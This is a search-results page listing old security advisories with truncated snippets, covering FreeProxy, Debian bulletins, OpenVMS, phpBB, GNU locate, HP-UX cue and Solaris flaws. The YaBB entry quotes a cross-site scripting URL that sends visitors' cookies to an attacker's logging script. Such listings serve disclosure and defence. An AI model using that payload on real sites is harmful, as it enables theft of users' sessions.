2034 matches found
[NT] FreeProxy/FreeWeb Multiple Vulnerabilities
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion The SecuriTeam alerts list - Free, Accurate, Independent. Get your security news from a reliable source...
DSA-320 mikmod - buffer overflow
Bulletin has no description...
OpenVMS page management vulnerability
Overview Old versions circa 1993 of OpenVMS and OpenVMS AXP contain a vulnerability related to page management. Description There is a vulnerability related to page management in old versions circa 1993 of Open VMS. An exploit for this vulnerability, written in MACRO-32, was available at the time...
DSA-283 xfsdump - insecure file creation
Bulletin has no description...
Cross-site Scripting Vulnerability in YaBB 1 Gold - SP1!
http://the.target.xxx/board/YaBB.pl?board=gral;action=display;num=10360245269Scriptlocation3d'Http://www.scriptkiddie.home/x.php?Cookie3d'2bdocument.cookie3b/Script num is a post that doesn't exist board must be a valid and accessable board X.php script to log the cookie that in an example of the...
CVE-2002-0533
CVE-2002-0533 affects phpBB 1.4.4 and earlier. The vulnerability lies in how BBCode handling processes [code] tags, allowing remote attackers to trigger CPU-based DoS and corrupt the database by inserting null ASCII 0 characters. The existing records indicate the issue and affected family, but th...
GNU findutils 4.0/4.1 - Locate Arbitrary Command Execution
// source: https://www.securityfocus.com/bid/3127/info GNU locate is an application that searches file databases for file names that match user-supplied patterns. A boundary condition error can occur when the program reads database files composed in an "old" format, produced by GNU locate prior t...
HPUX / 800 models / Old-styled exploit for cue
Hi there, One of the major problems I see with admins/security nowadays is that admin don't secure their host : they install patches ...which is slightly different. It reminds me of this very old advisory which was issued by HP in 1997 !!! about /usr/bin/cue : In the "Workarounds/Solution" sectio...
Старая дырка в cue (symbolic link)
No description provided...
Дырка в exrecover в старых версиях Solaris
Классическое переполнение буфера при разборе аргументов...
Дырка в старых версия host (AXFR/TCP reply)
При длинном ответе сервера переполняется статический буфер в сегменте стека...
[SECURITY] Security policy for Debian 2.1 (slink) (updated)
Debian is phasing out support for Debian 2.1 slink. We believe that this will have a minimal impact on our user community as we expect that most slink users have already upgraded to potato. We had originally announced that support would end Sep 30, 2000. In response to feedback to our earlier...
